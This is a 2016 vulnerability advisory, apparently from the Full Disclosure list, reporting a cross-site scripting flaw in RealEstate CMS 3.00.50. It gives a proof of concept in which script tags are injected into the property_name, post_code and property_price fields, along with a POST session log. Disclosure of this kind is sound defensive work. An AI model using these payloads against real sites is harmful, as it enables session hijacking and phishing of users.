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[FD] RealEstate CMS 3.00.50 - Cross Site Scripting Vulnerability

Document Title:
RealEstate CMS 3.00.50 - Cross Site Scripting Vulnerability

References (Source):

Release Date:

Vulnerability Laboratory ID (VL-ID):

Common Vulnerability Scoring System:

Product & Service Introduction:
RealEstate CMS is a web portal script designed for realty agents , realtor or brokers to sell , buy , trade , rent and letting their client's property 
through online. It is a web based Content Management System integrated web application platform developed in php, mysql used by real estate companies 
to promote properties. Feature-rich, SEO-friendly, easy to use interface with Protected admin area to create.
(Copy of the Vendor Homepage: http://www.script4realestate.com/ )

Abstract Advisory Information:
An independent vulnerability laboratory researcher discovered a cross site scripting vulnerability in the official RealEstate v3.00.50 content management system.

Vulnerability Disclosure Timeline:
2016-10-06:	Public Disclosure (Vulnerability Laboratory)

Discovery Status:

Affected Product(s):

Exploitation Technique:

Severity Level:

Technical Details & Description:
A client-side cross site scripting web vulnerability has been discovered in the official Realestate v3.00.50 content management system.
The vulnerability allows remote attacker to inject own malicious script codes on the client-side of the vulnerable module or service.

A client-side cross site scripting web vulnerability is located in the search engine. The web vulnerability could allows an attacker 
to execute javascript in the web-browser of the user or administrator to compromise session credentials. The injection point of the  
vulnerability is in the `Add` function with the `property_name`, `property_price` and `post_code` parameters. The execution point 
occurs in the the search module of the content management system. The request method to inject is POST and the attack vector of the 
issue is located to the client-side of the web-application.

The security risk of the web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.1. 
Exploitation of the client-side vulnerability requires no privileged web-application user account and low or medium user interaction. 
Successful exploitation of the vulnerability results in non-persistent phishing, session hijacking, non-persistent external redirect 
to malicious sources and client-side manipulation of affected or connected web module context.

Request Method(s):
[+] POST

Vulnerable Module(s):
[+] Add (Input)

Vulnerable Parameter(s):
[+] property_name
[+] post_code
[+] property_price

Proof of Concept (PoC):
The vulnerability can be exploited by remote attackers without privileged user account and with low or medium user interaction.
For security demonstration or to reproduce the web vulnerability follow the provided information and steps below to continue.

PoC: Source
<div class="form-group">
  <label>Post Code:</label>
    <input type="text" name="post_code" id="post_code" placeholder="Any" value="'"/>></script><script>alert("vulnerabilitylab")</script>" class="form-control">
    <input type="hidden" name="block_search" value="search" /></div>
<div class="form-group">
    <input name="property_name" id="property_name" operator="contains" type="text" placeholder="Property Name"
	value="'"/>></script><script>alert("vulnerabilitylab")</script>" class="form-control"/></div>
<script type="text/javascript">
    {field: "property_price", operator: $("#property_price").attr('operator'), value: ""'"/>></script><script>alert("vulnerabilitylab")</script>"},

--- PoC Session Logs [POST] ---
Status: 200 [OK]
Host: realestate.localhost:8000/
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://realestate.localhost:8000/
Cookie: PHPSESSID=8897722dac6adcebc9a966069e91ea83; __unam=6aaa37b-1570a42f57e-507aafb3-2; __utma=261436815.141070340.1473345943.1473345943.1473345943.1; __utmb=261436815.2.10.1473345943; __utmc=261436815; __utmz=261436815.1473345943.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 529

Note: There is not filter validation or csrf token in use to prevent exploitation in case of a performed POST method request with non-expired session credentials.


Security Risk:
The security risk of the client-side post inject web vulnerability in the search module is estimated as medium. (CVSS 3.0)

Credits & Authors:
ZwX -  (http://zwx.fr/)  )[http://www.vulnerability-lab.com/show.php?user=ZwX]

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